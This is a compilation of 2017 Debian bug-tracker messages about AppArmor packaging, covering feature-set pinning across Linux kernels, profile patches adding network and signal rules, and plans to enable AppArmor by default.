Bug#877255: [pkg-apparmor] Bug#877255: apparmor-profiles-extra: usr.bin.totem profile produces aa-logprof error: permission contains unknown character(s) Pux

[intrigeri]

Control: tag -1 + pending

Vincas Dargis:
> Attached patch from upstream MR [0]

Thanks, applied to Vcs-Git. I've got another queued fix or two that
I want to apply before I upload (most likely today or tomorrow:
that's not high priority but still, let's try to keep our backlog
small by tackling low-hanging fruits with low latency :)

Bug#879716: ITP: usbauth-notifier -- Notifier for USB Firewall to use with desktop environments

[intrigeri]

Stefan Koch:
> * Package name: usbauth-notifier
> * URL : https://github.com/kochstefan/usbauth-all/usbauth-notifier

FWIW I get an error 404 there.

> A notifier for the usbauth firewall against BadUSB attacks. The user
> could manually allow or deny USB devices.

I'm curious: what are the pros/cons compared to usbguard, that's
already in Debian?

Bug#879585: apparmor: Pin the AppArmor feature set in Stretch to Linux 4.9's

[intrigeri]

Control: severity -1 normal

1. AppArmor is not enabled by default in Stretch
2. Currently stretch-backports has Linux 4.12 that's compatible with
   the policy shipped in Stretch, without need for any pinning

⇒ lowering priority. It'll become more important once Linux 4.13+
lands in stretch-backports, but even then IMO that'll remain a normal
severity bug because a combination of 2 non-default settings is
required to trigger any problem.

Bug#877581: [pkg-apparmor] Bug#877581: Bug#877581: apparmor: Ensure Linux 4.14 does not break abstractions/nameservice

[intrigeri]

When testing stuff on 4.14, make sure you:

 - use apparmor 2.11.1

 - disable features-files= in /etc/apparmor/parser.conf (otherwise not
   only you'll be stuck to 4.13's feature set and unable to do useful
   work here, but worse you'll hit a kernel bug wrt. feature set
   pinning & network rules that totally breaks unix/netlink/etc.)

Bug#877581: apparmor: Ensure Linux 4.14 does not break abstractions/nameservice

[intrigeri]

Vincas Dargis:
> On 2017.10.12 07:37, intrigeri wrote:
>> I suspect more is coming. Ubuntu / OpenSUSE probably already have
>> some of this stuff.

> Could you clarify, why Ubuntu should have issues, if they had
> network mediation before?

You're right, Ubuntu should not be affected by this problem (I was
reasoning in terms of "they do stuff upstream first now", but so far
they've mostly been working on the backlog created by the previous
development model i.e. stuff they're already applying to their own
kernel).

Cheers,
-- 
intrigeri

Bug#877581: Ensure our AppArmor policy does not break stuff with Linux 4.14

[intrigeri]

Hi,

intrigeri:
> I've upgraded my system to 4.14 and had to adjust no less than 7 profiles
> *after* applying Christian's patch to abstractions/nameservice.

> They're spread over multiple source packages but I figured it would be
> nice to at least share my tweaks (attached) so anyone affected can
> temporarily apply them locally, and everyone who wants can start
> pushing them to the correct upstream / source package.

Here's a more up-to-date dump.

The torbrowser profile changes probably need to be redone (somewhat
from scratch) on top of the one that's in sid: I'm not running the
profile shipped in Debian currently, but something stricter that I've
sent a PR upstream for. Other than that, everything in there should be
ready to be pushed to the relevant place.

Cheers,
-- 
intrigeri

diff --git a/apparmor.d/abstractions/tor b/apparmor.d/abstractions/tor
index 15601a4a..5e494adc 100644
--- a/apparmor.d/abstractions/tor
+++ b/apparmor.d/abstractions/tor
@@ -6,6 +6,8 @@
   network tcp,
   network udp,
 
+  network unix dgram,
+
   capability chown,
   capability dac_read_search,
   capability fowner,
diff --git a/apparmor.d/libvirt/TEMPLATE.qemu b/apparmor.d/libvirt/TEMPLATE.qemu
index c2f6aa2e..e11b6219 100644
--- a/apparmor.d/libvirt/TEMPLATE.qemu
+++ b/apparmor.d/libvirt/TEMPLATE.qemu
@@ -7,6 +7,8 @@
 profile LIBVIRT_TEMPLATE flags=(attach_disconnected) {
   #include 
 
+  signal (receive) set=("term") peer=/usr/sbin/libvirtd,
+
--- a/apparmor.d/sbin.dhclient
+++ b/apparmor.d/sbin.dhclient
@@ -16,6 +16,9 @@ profile dhclient /{usr/,}sbin/dhclient {
   network packet,
   network raw,
 
+  network unix dgram,
+  network unix stream,
+
   @{PROC}/[0-9]*/net/ r,
   @{PROC}/[0-9]*/net/** r,
 
diff --git a/apparmor.d/torbrowser.Browser.firefox b/apparmor.d/torbrowser.Browser.firefox
index 1d6421e7..0548cc00 100644
--- a/apparmor.d/torbrowser.Browser.firefox
+++ b/apparmor.d/torbrowser.Browser.firefox
@@ -10,8 +10,15 @@
   # @{HOME}/ r,
 
   #dbus,
+  network netlink raw,
   network tcp,
 
+  network unix seqpacket,
+
+  ptrace (trace) peer=torbrowser_plugin_container,
+
+  signal (send) set=("term") peer=torbrowser_plugin_container,
+
   deny /etc/host.conf r,
   deny /etc/hosts r,
   deny /etc/nsswitch.conf r,
diff --git a/apparmor.d/torbrowser.Browser.plugin-container b/apparmor.d/torbrowser.Browser.plugin-container
index 12140448..5169f866 100644
--- a/apparmor.d/torbrowser.Browser.plugin-container
+++ b/apparmor.d/torbrowser.Browser.plugin-container
@@ -13,6 +13,10 @@ profile torbrowser_plugin_container {
   # owner @{PROC}/@{pid}/fd/ r,
   # owner @{torbrowser_home_dir}/TorBrowser/Data/Browser/profile.default/tmp/mozilla-temp-* rw,
 
+  signal (receive) set=("term") peer=/home/*/.local/share/torbrowser/tbb/{i686,x86_64}/tor-browser_*/Browser/firefox,
+
+  unix (receive, send) type=seqpacket,
+
   deny /etc/host.conf r,
   deny /etc/hosts r,
   deny /etc/nsswitch.conf r,
@@ -24,6 +28,9 @@ profile torbrowser_plugin_container {
   deny /etc/machine-id r,
   deny /var/lib/dbus/machine-id r,
 
+  /etc/mime.types r,
+  /usr/share/applications/gnome-mimeapps.list r,
+
   owner @{PROC}/@{pid}/mountinfo r,
   owner @{PROC}/@{pid}/stat r,
   owner @{PROC}/@{pid}/status r,
diff --git a/apparmor.d/usr.bin.pulseaudio b/apparmor.d/usr.bin.pulseaudio
index 20d5bc25..2817ab55 100644
--- a/apparmor.d/usr.bin.pulseaudio
+++ b/apparmor.d/usr.bin.pulseaudio
@@ -25,6 +25,8 @@
   unix (connect, receive, send) type=stream peer=(addr="@/tmp/.ICE-unix/[0-9]*"),
   ptrace (read,trace) peer=@{profile_name},
 
+  network unix dgram,
+
   /usr/bin/pulseaudio mixr,
 
   /etc/pulse/ r,
diff --git a/apparmor.d/usr.sbin.cupsd b/apparmor.d/usr.sbin.cupsd
index 053d1c1f..ca884e2d 100644
--- a/apparmor.d/usr.sbin.cupsd
+++ b/apparmor.d/usr.sbin.cupsd
@@ -47,6 +47,8 @@
   network econet dgram,
   network ash dgram,
 
+  network unix stream,
+
   /{usr/,}bin/bash ixr,
   /{usr/,}bin/dash ixr,
   /{usr/,}bin/hostname ixr,
diff --git a/apparmor.d/usr.sbin.haveged b/apparmor.d/usr.sbin.haveged
index 0e611388..ad1bee6d 100644
--- a/apparmor.d/usr.sbin.haveged
+++ b/apparmor.d/usr.sbin.haveged
@@ -7,6 +7,8 @@
   # Required for ioctl RNDADDENTROPY
   capability sys_admin,
 
+  network unix stream,
+
   owner @{PROC}/@{pid}/status r,
 
   @{PROC}/sys/kernel/osrelease r,
diff --git a/apparmor.d/usr.sbin.libvirtd b/apparmor.d/usr.sbin.libvirtd
index 4c4a751c..9d7b7e95 100644
--- a/apparmor.d/usr.sbin.libvirtd
+++ b/apparmor.d/usr.sbin.libvirtd
@@ -30,6 +30,8 @@
   # Needed for vfio
   capability sys_resource,
 
+  mount,
+
   network inet stream,
   network inet dgram,
   network inet6 stream,
@@ -37,9 +39,17 @@
   network packet dgram,
   network packet raw,
 
+  network netlink raw,
+  network unix dgram,
+  network unix stream,
+
   ptrace (trace) peer=unconfined,
   ptrace (trace) peer=/usr/sbin/libvirtd,
   ptrace (trace) peer=libvirt-*,
+  ptrace (trace) peer=/usr/sbin/dnsmasq,
+
+  s

Bug#879584: apparmor: Pin the AppArmor feature set to Linux 4.12's or 4.13's until our policy has been updated for Linux 4.14

[intrigeri]

Hi John & others!

Thanks a lot for all this useful input! I think there's some
misunderstanding going on about one of my test procedures though, see
below. I also did some more tests which increased my confidence in the
whole idea, so I'm going to upload 2.11.1-1 now.

John Johansen:
> On 10/23/2017 10:30 AM, intrigeri wrote:

>>> I'll need to test what happens when upgrading the feature set file +
>>> Linux in lockstep, when the new feature set includes features brought
>>> by the Linux upgrade and not supported by the running kernel.
>>> This will happens when upgrading to the next Debian stable, or on
>>> a rarely upgraded testing/sid system. It'll be solved on reboot but
>>> I want to ensure the package upgrade succeeds.
>> 
>> It seems to work just fine. Here's how I tested it:
>> 
>> 1. boot sid with Linux 4.14-rc5 from experimental
>> 2. save the 4.14-rc5 feature set:
>>cp /etc/apparmor.d/cache/.features /etc/apparmor/features-4.14
> this step is likely not needed as apparmor will detect the feature
> set doesn't match and update the features as it recompiles to the
> new feature set.

Note that at this point I'm not pinning the feature set: I'm *only*
storing the 4.14 feature set somewhere so I can use it later in step
7. I see no way to do step 7 without having this file available,
hence step 2.

>> 3. boot sid with Linux 4.13 from sid
> might want to test that the features file was updated, a timestamp
> since boot should be all you need to check

Which features file?  /etc/apparmor.d/cache/.features?

>> 7. cp /etc/apparmor/features{-4.14,}
> this step is not needed
>> 8. systemctl restart apparmor
> this step is not needed either, but if you want to get the service
> message without digging it shouldn't hurt either.

I don't understand: step 7 + step 8 are precisely what I wanted to
test (upgrading to a feature set newer that contains features not
supported by the running kernel + reloading policy, i.e. exactly what
happens in the situations I want to validate behavior for).

I just did another, more realistic test for the actual upgrade path
I'm interested in ⇒ see #879585.

>> I'm kinda surprised that apparmor_parser does not complain about being
>> explicitly told to enable features that the kernel does not support,

> Well it can, you can use
> --warn=rule-downgraded

> which means some enforcement of the rule but at a coarser level, eg.
> a unix rule to network unix,

> and
> --warn=rule-not-enforced

> which means no enforcement

> you can enable them by default by setting them in /etc/apparmor/parser.conf

> # enable rule downgrade warnings by default
> warn=rule-not-enforced
> warn=rule-downgraded

Right, sorry I forgot about this! I've done some more tests with these
options enabled and the logs confirm my tests results.

>>> A special case of this general problem is when one intentionally runs
>>> an older kernel than the one whose feature set we've pinned. I did not
>>> test this yet. My understanding is that the worst that can happens is
>>> that one gets no AppArmor confinement at all, which is not exactly
>>> a regression compared to what Debian has been doing so far, and it's
>>> a corner case so I won't treat this as a blocker.

> So this should generally work, as long as the kernel isn't too old.
> The barrier is the abi version supported vs that of the feature file.
> Where the abi version is used a break point.

Interesting! I'd like to check what "too old" looks like in real-life
situations. Where can I find this ABI version? Is it both what I see
in /sys/kernel/security/apparmor/features/policy/versions/ (v5, v6 and
v7 on Linux 4.13) and in my features file ("versions {v7 {yes} v6
{yes} v5 {yes}}")? Can I assume that as long as the intersection of
these list of versions is not empty, we're good?

Now, on Stretch's Linux 4.9
/sys/kernel/security/apparmor/features/policy/versions/ contains only
a "set_load" file and no actual vN file. I guess this is what the
comments in parser/parser_common.c ("parser_abi_version is not
supported by kernels that only support v5 kernel abi"). I hope this
doesn't disqualify the idea of pinning the feature set in Stretch to
what Linux 4.9 supports, does it? (I'll test this and report back on
https://bugs.debian.org/879585.)

Anyway, theory put aside I wanted to check what happens *in practice*
during a Stretch → Buster upgrade. This worked fine (well, the policy
reload failed but at least dpkg thinks the upgrade succeeded): see my
test report on #879585.

Cheers,
-- 
intrigeri

Bug#879585: apparmor: Pin the AppArmor feature set in Stretch to Linux 4.9's

[intrigeri]

intrig...@debian.org:
> This is about supporting Stretch users who have enabled AppArmor
> and run a new kernel, e.g. from stretch-backports.

> Similarly to #879584, let's pin the AppArmor feature set to the one
> supported by the Stretch stock kernel, i.e. the one the AppArmor
> policy shipped in Stretch works well with.

I've tested this:

1. start a Stretch system with the AppArmor LSM enabled and the
   apparmor package (from Stretch) installed
2. cp /etc/apparmor.d/cache/.features /etc/apparmor/features
3. echo "features-file=/etc/apparmor/features" >> /etc/apparmor/parser.conf
4. reboot
5. everything comes up fine :)

Now test the case when one runs a newer kernel on Stretch with
a feature set pinned to Linux 4.9's:

6.a reboot on Linux 4.14-rc5 from Debian experimental
7.a everything comes up fine :)

Then roll back to the state we were in after step 5 (i.e.
running Linux 4.9 with its own feature set pinned) and test the
upgrade path to Buster:

6.b copy the 4.14's features file to /etc/apparmor/features
7.b upgrade to my tentative apparmor 2.11.1-1 package; this triggers
a policy reload that fails and spits out quite a few error messages
(Unable to replace "sanitized_helper". Profile doesn't conform to
protocol); but the upgrade succeeds on the dpkg level as the policy
reload is not fatal in apparmor.postinst.

I think these tests validate the general idea.

Cheers,
-- 
intrigeri

Bug#879590: apparmor: Decide how we enable AppArmor by default

[intrigeri]

Hi,

Ben Hutchings:
> On Mon, 2017-10-23 at 10:06 +0200, intrig...@debian.org wrote:
>> A. Make AppArmor the default LSM in the kernel
> [...]
>> B. Configure bootloaders to enable AppArmor by default
>>
>>On https://bugs.debian.org/702030 a nice & flexible solution was
>>designed; let's call it B.1.
> [...]
>>A short-term simpler option would be to drop a file in
>>/etc/default/grub.d/ [...] Let's call this option B.2.
> [...]

>> My personal preference is A > B.1. Ben & others, what do you think?

> I agree.

OK. Thanks for the prompt reply!

> We really should have a common way to append things to the kernel
> command line, which would allow a more general B.2, but this shouldn't
> have to wait for that.

ACK.

So we're done wrt. LSM activation.

Next step: figure out how to actually pull AppArmor utilities & policy
by default (enabling the LSM is not very useful if we don't install
those too). I think I can propose something about it this week.

Cheers,
-- 
intrigeri

Bug#879584: apparmor: Pin the AppArmor feature set to Linux 4.12's or 4.13's until our policy has been updated for Linux 4.14

[intrigeri]

Hi,

(John, there's a question for you below and I'll like you to
double-check my testing procedure :)

intrigeri:
>> 1. in testing/sid, ship a conffile (in a package built from
>>src:apparmor) that pins the most recent feature set fully supported
>>by our policy, i.e. Linux 4.12's or 4.13's (depending on whether
>>we've fixed all the regressions brought by 4.13 yet); this should
>>make the transition to Linux 4.14 smooth;

Implemented locally.

All test results below look good to me so I'll wait for John's answer
and will then upload to id.

Sadly, that this is not fully effective in the specific case of
4.14-rcN up to 4.14-rc6 due to a kernel bug with pinned older feature
sets, that will likely be fixed in Linux 4.14-rc7. For example, with
Linux 4.14-rc5 some network (e.g. unix, inet, inet6) operations are
denied despite the fact this pinned feature does not enable network
mediation support. For details, see:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1721278
A fix is being tested and will hopefully be sent to Linus today.

> I'll need to test what happens when upgrading the feature set file +
> Linux in lockstep, when the new feature set includes features brought
> by the Linux upgrade and not supported by the running kernel.
> This will happens when upgrading to the next Debian stable, or on
> a rarely upgraded testing/sid system. It'll be solved on reboot but
> I want to ensure the package upgrade succeeds.

It seems to work just fine. Here's how I tested it:

1. boot sid with Linux 4.14-rc5 from experimental
2. save the 4.14-rc5 feature set:
   cp /etc/apparmor.d/cache/.features /etc/apparmor/features-4.14
3. boot sid with Linux 4.13 from sid
4. save the 4.13 feature set to /etc/apparmor/features:
   cp /etc/apparmor.d/cache/.features /etc/apparmor/features
5. add features-file=/etc/apparmor/features to /etc/apparmor/parser.conf
6. reboot on Linux 4.13 again
7. cp /etc/apparmor/features{-4.14,}
8. systemctl restart apparmor
9. look at what happened:
   - apparmor.service was successfully restarted
   - the restart logs say 'apparmor="STATUS"
 operation="profile_replace" info="same as current profile,
 skipping"'
   - the policy has been successfully reloaded (actually not as said
 above, but that's fine)
   - the output of aa-status is what I would expect

I'm kinda surprised that apparmor_parser does not complain about being
explicitly told to enable features that the kernel does not support,
but OTOH its --help says "--features-file n Use only features in file
n" that I understand as the features file is only used to exclude
features not listed in there, and the parser actually uses the
intersection of the features specified in that file and the features
actually supported by the kernel. John, did I guess right?

> A special case of this general problem is when one intentionally runs
> an older kernel than the one whose feature set we've pinned. I did not
> test this yet. My understanding is that the worst that can happens is
> that one gets no AppArmor confinement at all, which is not exactly
> a regression compared to what Debian has been doing so far, and it's
> a corner case so I won't treat this as a blocker.

It seems to work just fine too. Here's how I tested this:

1. boot sid with Linux 4.14-rc5 from experimental
2. save the 4.14-rc5 feature set to /etc/apparmor/features:
   cp /etc/apparmor.d/cache/.features /etc/apparmor/features
3. add features-file=/etc/apparmor/features to /etc/apparmor/parser.conf
4. reboot on Linux 4.13 from sid and look at what happened:
   - the policy has been successfully loaded
   - apparmor.service was successfully started
   - the output of aa-status is what I would expect

Cheers,
-- 
intrigeri

Bug#877581: [pkg-apparmor] Bug#877581: Bug#877581: apparmor: Ensure Linux 4.14 does not break abstractions/nameservice

[intrigeri]

Christian Boltz:
> It turned out that the added "network unix dgram/stream" rules are not 
> really needed. Let me explain ;.-)

> In theory apparmor_parser should downgrade the "unix" rules in 
> abstractions/base to "network unix" rules (when using Kernel < 4.15), 
> which allows more than "network unix dgram/stream".

> In practise this rule downgrade was broken in apparmor_parser, and got 
> fixed in AppArmor 2.11.1, 2.10.3 and 2.9.5.

> So once you update apparmor_parser to one of these versions, profiles 
> that include abstractions/base (which basically means all profiles) 
> should no longer need the "network unix dgram/stream" rules.

Great! I'm packaging 2.11.1 as we speak, so I've reverted your patch
(that I had previously applied to our packaging bzr repo, but did not
upload to Debian yet). Thanks for the heads up!

> Note that the patch discussed in this bugreport adds a few other rules - 
> those will still be needed.

Indeed. I want to work on this later this week.

Cheers,
-- 
intrigeri

Bug#879590: apparmor: Decide how we enable AppArmor by default

[intrigeri]

Package: apparmor
Version: 2.11.0-11
Severity: normal
X-Debbugs-Cc: Ben Hutchings <b...@debian.org>

Hi,

we're discussing whether to enable AppArmor by default during the
Buster cycle, but we have no actual plan wrt. how to do it.
There are several options:

A. Make AppArmor the default LSM in the kernel

   i.e. set CONFIG_DEFAULT_SECURITY="apparmor"
   and CONFIG_DEFAULT_SECURITY_APPARMOR=y.

   That's what Ubuntu and openSUSE have been doing for ages.
   It's easy, straightforward, and compatible with how
   [selinux-activate] currently works, i.e. if a user has manually
   enabled SELinux, it'll remain the default and AppArmor will remain
   disabled. Passing security= on the kernel command line is enough to
   disable AppArmor.

B. Configure bootloaders to enable AppArmor by default

   On https://bugs.debian.org/702030 a nice & flexible solution was
   designed; let's call it B.1. However it requires quite some work in
   a number of packages, so IMO it does not fit the timeline of the
   proposed experiment (while Buster == testing).

   A short-term simpler option would be to drop a file in
   /etc/default/grub.d/ that injects what we want into
   GRUB_CMDLINE_LINUX unless another LSM is already enabled in there
   (selinux-activate directly modifies /etc/default/grub). Let's call
   this option B.2.

   The major disadvantage of this option is that it only supports GRUB
   (just like selinux-activate by the way). I haven't looked at how
   much work would be required to achieve the same result with the
   other major bootloaders Debian supports.

C. Anything else?

My personal preference is A > B.1. Ben & others, what do you think?

[selinux-activate] 
https://sources.debian.net/src/selinux-basics/0.5.6/selinux-activate/

Cheers,
-- 
intrigeri

Bug#878203: [pkg-apparmor] Bug#878203: Bug#878203: AA breaks libvirt when running with kernel 4.13

[intrigeri]

Control: reassign -1 libvirt-daemon-system
Control: retitle -1 AppArmor blocks QEMU guests access to /proc/*/cmdline
Control: found -1 3.8.0-3
Control: severity -1 normal
Control: tag -1 + upstream

Hi Michael, Guido & others,

first of all, thanks a lot for trying AppArmor and reporting bugs,
much appreciated :)

I'm sorry you've hit issues caused by new AppArmor features landing in
Linux mainline (which is very good news in itself but we've failed to
get ready for that in Debian). I have designed a plan to avoid such
situations in the future: #879584 and #879585.

Michael Biebl:
> Updating libvirt to 3.8.0-1 from experimental fixed the immediate issue
> for me, i.e. the libvirt instances start again.

… and this is now fixed in sid too. Kudos to Guido for being so
proactive both to fix such issues in libvirt upstream and to upload
them to Debian — you rock!

> I'm not sure whether to merge these two bug reports now, or we keep this
> one open and deal with the remaining denial(s) (the severity should
> probably be downgraded in this case as it doesn't seem to cause any
> noticeable issues).

> After updating to libvirt 3.8.0-1 I still the get following DENIAL when
> shutting down a libvirt/KVM instance:

>> 2017-10-11T14:43:54.683220+02:00 pluto kernel: [  355.112941] audit:
> type=1400 audit(1507725834.681:55): apparmor="DENIED" operation="open"
> profile="libvirt-4e5a8920-a2a1-4c6b-b7f1-528c20878cdd"
> name="/proc/684/cmdline" pid=3154 comm="qemu-system-x86"
> requested_mask="r" denied_mask="r" fsuid=114 ouid=0

I'm hereby doing the latter, i.e. re-purposing this duplicate bug
report into one that tracks this noisy denial.

@Guido: I've not noticed any breakage caused by AppArmor blocking QEMU
access to /proc/*/cmdline. Grepping the QEMU source code for "cmdline"
outputs too many hits for a non-C person like me to investigate, so
I am really clueless wrt. what the potential problems of this denial
could be. Shall we silence the denial or allow it (possibly prefixed
with "owner" to avoid increasing the attack surface too much)? Once we
reach a conclusion here I'm happy to send a patch upstream.

Cheers,
-- 
intrigeri

Bug#879584: apparmor: Pin the AppArmor feature set to Linux 4.12's or 4.13's until our policy has been updated for Linux 4.14

[intrigeri]

intrig...@debian.org:
> Package: apparmor
> Version: 2.11.0-11
> Severity: important

> My plan is:

> 1. in testing/sid, ship a conffile (in a package built from
>src:apparmor) that pins the most recent feature set fully supported
>by our policy, i.e. Linux 4.12's or 4.13's (depending on whether
>we've fixed all the regressions brought by 4.13 yet); this should
>make the transition to Linux 4.14 smooth;

> 2. once our policy has been updated to work well with Linux 4.14's
>AppArmor features (#877581), bump the pinned feature set to 4.14's

I'll need to test what happens when upgrading the feature set file +
Linux in lockstep, when the new feature set includes features brought
by the Linux upgrade and not supported by the running kernel.
This will happens when upgrading to the next Debian stable, or on
a rarely upgraded testing/sid system. It'll be solved on reboot but
I want to ensure the package upgrade succeeds.

A special case of this general problem is when one intentionally runs
an older kernel than the one whose feature set we've pinned. I did not
test this yet. My understanding is that the worst that can happens is
that one gets no AppArmor confinement at all, which is not exactly
a regression compared to what Debian has been doing so far, and it's
a corner case so I won't treat this as a blocker.

Bug#879585: apparmor: Pin the AppArmor feature set in Stretch to Linux 4.9's

[intrigeri]

Package: apparmor
Version: 2.11.0-3
Severity: important

This is about supporting Stretch users who have enabled AppArmor
and run a new kernel, e.g. from stretch-backports.

Similarly to #879584, let's pin the AppArmor feature set to the one
supported by the Stretch stock kernel, i.e. the one the AppArmor
policy shipped in Stretch works well with.

Cheers,
-- 
intrigeri

Bug#879584: apparmor: Pin the AppArmor feature set to Linux 4.12's or 4.13's until our policy has been updated for Linux 4.14

[intrigeri]

Package: apparmor
Version: 2.11.0-11
Severity: important

My plan is:

1. in testing/sid, ship a conffile (in a package built from
   src:apparmor) that pins the most recent feature set fully supported
   by our policy, i.e. Linux 4.12's or 4.13's (depending on whether
   we've fixed all the regressions brought by 4.13 yet); this should
   make the transition to Linux 4.14 smooth;

2. once our policy has been updated to work well with Linux 4.14's
   AppArmor features (#877581), bump the pinned feature set to 4.14's

3. rinse & repeat for Linux 4.15 etc. using another, dedicated bug
   report

I'll file another bug report about doing something similar to address
the Stretch + Linux from backports use case.

Cheers,
-- 
intrigeri

Bug#870418: shutter: Depends on obsolete libgnome2-vfs-perl that will go away during the Buster cycle

[intrigeri]

Control: forwarded -1 https://bugs.launchpad.net/shutter/+bug/1006290
Control: tag -1 + upstream

Hi,

Dominique Dumont (2017-08-15):
> On Thu, 03 Aug 2017 08:42:15 -0400 intrigeri <intrig...@debian.org> wrote:
>> What would be an acceptable timeline for you to check before we decide
>> about the removal? 

> Give me at least 2 months.

Any status update?

FWIW the upstream bug about this issue was created 5 years ago and
never updated since then.

Thanks!

Cheers,
-- 
intrigeri

Bug#877581: apparmor: Ensure Linux 4.14 does not break abstractions/nameservice

[intrigeri]

Control: retitle -1 apparmor: Ensure our AppArmor policy does not break stuff 
with Linux 4.14
Control: tag -1 - patch
Control: tag -1 - pending

I've upgraded my system to 4.14 and had to adjust no less than 7 profiles
*after* applying Christian's patch to abstractions/nameservice.

They're spread over multiple source packages but I figured it would be
nice to at least share my tweaks (attached) so anyone affected can
temporarily apply them locally, and everyone who wants can start
pushing them to the correct upstream / source package.

I suspect more is coming. Ubuntu / OpenSUSE probably already have
some of this stuff.

diff --git a/apparmor.d/abstractions/nameservice b/apparmor.d/abstractions/nameservice
index 6c9bde39..4322cf17 100644
--- a/apparmor.d/abstractions/nameservice
+++ b/apparmor.d/abstractions/nameservice
@@ -89,6 +89,12 @@
   network inet  dgram,
   network inet6 dgram,
 
+  # TODO: replace with more specific "unix" rules once support for them
+  # arrives in the Linux kernel (probably in 4.15) and gives us detailed
+  # log messages
+  network unix dgram,
+  network unix stream,
+
   # TODO: adjust when support finer-grained netlink rules
   # Netlink raw needed for nscd
   network netlink raw,
diff --git a/apparmor.d/abstractions/tor b/apparmor.d/abstractions/tor
index 15601a4a..5e494adc 100644
--- a/apparmor.d/abstractions/tor
+++ b/apparmor.d/abstractions/tor
@@ -6,6 +6,8 @@
   network tcp,
   network udp,
 
+  network unix dgram,
+
   capability chown,
   capability dac_read_search,
   capability fowner,
diff --git a/apparmor.d/sbin.dhclient b/apparmor.d/sbin.dhclient
index 7b6a06d8..17723dab 100644
--- a/apparmor.d/sbin.dhclient
+++ b/apparmor.d/sbin.dhclient
@@ -16,6 +16,9 @@ profile dhclient /{usr/,}sbin/dhclient {
   network packet,
   network raw,
 
+  network unix dgram,
+  network unix stream,
+
   @{PROC}/[0-9]*/net/ r,
   @{PROC}/[0-9]*/net/** r,
 
@@ -89,12 +92,15 @@ profile dhclient /{usr/,}sbin/dhclient {
 
   /run/NetworkManager/private-dhcp rw,
   signal (send) peer=/{usr/,}sbin/dhcient,
+  signal (send) peer=dhcient,
 
   /var/lib/NetworkManager/*lease r,
   signal (receive) peer=/usr/sbin/NetworkManager,
   ptrace (readby) peer=/usr/sbin/NetworkManager,
   network inet dgram,
   network inet6 dgram,
+
+  network unix stream,
 }
 
 /usr/lib/connman/scripts/dhclient-script {
diff --git a/apparmor.d/torbrowser.Browser.firefox b/apparmor.d/torbrowser.Browser.firefox
index 1d6421e7..3ec73b0f 100644
--- a/apparmor.d/torbrowser.Browser.firefox
+++ b/apparmor.d/torbrowser.Browser.firefox
@@ -10,6 +10,7 @@
   # @{HOME}/ r,
 
   #dbus,
+  network netlink raw,
   network tcp,
 
   deny /etc/host.conf r,
diff --git a/apparmor.d/usr.bin.pulseaudio b/apparmor.d/usr.bin.pulseaudio
index 20d5bc25..2817ab55 100644
--- a/apparmor.d/usr.bin.pulseaudio
+++ b/apparmor.d/usr.bin.pulseaudio
@@ -25,6 +25,8 @@
   unix (connect, receive, send) type=stream peer=(addr="@/tmp/.ICE-unix/[0-9]*"),
   ptrace (read,trace) peer=@{profile_name},
 
+  network unix dgram,
+
   /usr/bin/pulseaudio mixr,
 
   /etc/pulse/ r,
diff --git a/apparmor.d/usr.sbin.cupsd b/apparmor.d/usr.sbin.cupsd
index 053d1c1f..ca884e2d 100644
--- a/apparmor.d/usr.sbin.cupsd
+++ b/apparmor.d/usr.sbin.cupsd
@@ -47,6 +47,8 @@
   network econet dgram,
   network ash dgram,
 
+  network unix stream,
+
   /{usr/,}bin/bash ixr,
   /{usr/,}bin/dash ixr,
   /{usr/,}bin/hostname ixr,
diff --git a/apparmor.d/usr.sbin.haveged b/apparmor.d/usr.sbin.haveged
index 0e611388..ad1bee6d 100644
--- a/apparmor.d/usr.sbin.haveged
+++ b/apparmor.d/usr.sbin.haveged
@@ -7,6 +7,8 @@
   # Required for ioctl RNDADDENTROPY
   capability sys_admin,
 
+  network unix stream,
+
   owner @{PROC}/@{pid}/status r,
 
   @{PROC}/sys/kernel/osrelease r,
diff --git a/apparmor.d/usr.sbin.libvirtd b/apparmor.d/usr.sbin.libvirtd
index 4c4a751c..e905c95c 100644
--- a/apparmor.d/usr.sbin.libvirtd
+++ b/apparmor.d/usr.sbin.libvirtd
@@ -37,9 +37,16 @@
   network packet dgram,
   network packet raw,
 
+  network netlink raw,
+  network unix dgram,
+  network unix stream,
+
   ptrace (trace) peer=unconfined,
   ptrace (trace) peer=/usr/sbin/libvirtd,
   ptrace (trace) peer=libvirt-*,
+  ptrace (trace) peer=/usr/sbin/dnsmasq,
+
+  signal (send) set=("hup") peer=/usr/sbin/dnsmasq,
 
   # Very lenient profile for libvirtd since we want to first focus on confining
   # the guests. Guests will have a very restricted profile.

Bug#877581: Patch

[intrigeri]

Control: tag -1 + pending

Hi,

Vincas Dargis:
> Indeed, with 4.14 I got my first Debian network (potential) denies (yay! :-D 
> ):

Nice, it's good news in some way :)

> Anyway, patch suggested by Christian Boltz fixes these issues, which is 
> attached.

Thanks. I've imported it as a quilt patch, adjusted a bit the embedded
"TODO", added a bunch of DEP-3 metadata and committed locally.
Will push to Vcs-Bzr once I get back online.

I'll try to do some testing myself with Linux 4.13 and 4.14 before
I upload, but if I don't manage to find time to test this early
enough, I'll upload anyway: your testing + Christian's input + my code
review is enough to make me confident this patch can only
improve things.

I'm a little bit curious wrt. whether this patch will be enough.
If you have extra time/desire to spend on this, you could test
profiles in the archive that don't include the nameservice abstraction
(there are some on my system) and thus won't be fixed by this patch
*if* they happen to need similar "unix" permissions.

Cheers,
-- 
intrigeri

Bug#795431: Fix for #795431 v2

[intrigeri]

Control: tag -1 + pending

Hi Vincas,

Vincas Dargis:
> Patch v2.

Thanks a lot! Applied locally, will push once I get back online.

I've fixed two issues:

1. It seems that your replacement worked fine in most cases (i.e.
   we now have "$package provides") but in some cases I see "$package
   package provides", which sounds weird to my ear.

2. Apparently you had missed apparmor-utils.

Cheers,
-- 
intrigeri

Bug#877255: apparmor-profiles-extra: usr.bin.totem profile produces aa-logprof error: permission contains unknown character(s) Pux

[intrigeri]

Hi,

Vincas Dargis:
> On 2017.09.30 08:27, intrigeri wrote:
>> Interestingly
>> http://wiki.apparmor.net/index.php/AppArmor_Core_Policy_Reference#Execute_rules
>> says that Pux is supported since 2.5, so I wonder who's correct.

Thanks to everyone who helped clarifying this matter :)

>> Replacing Pux with pux fixes the problem you've seen here, and better
>> expresses what I intended initially.
>>
>> Can you please confirm? If that works, would you be up to
>> update my merge request upstream accordingly:
>> https://code.launchpad.net/~intrigeri/apparmor-profiles/+git/apparmor-profiles/+merge/331058

> Yes, using `pux` fixes the issue.

Great!

> Not sure what updating mere request means. Should I simply create new MR with 
> alternative `pux`?

Yes: fork a branch based on mine, add a commit with this change and an
suitable justification, create a new MR and add a note on mine to say
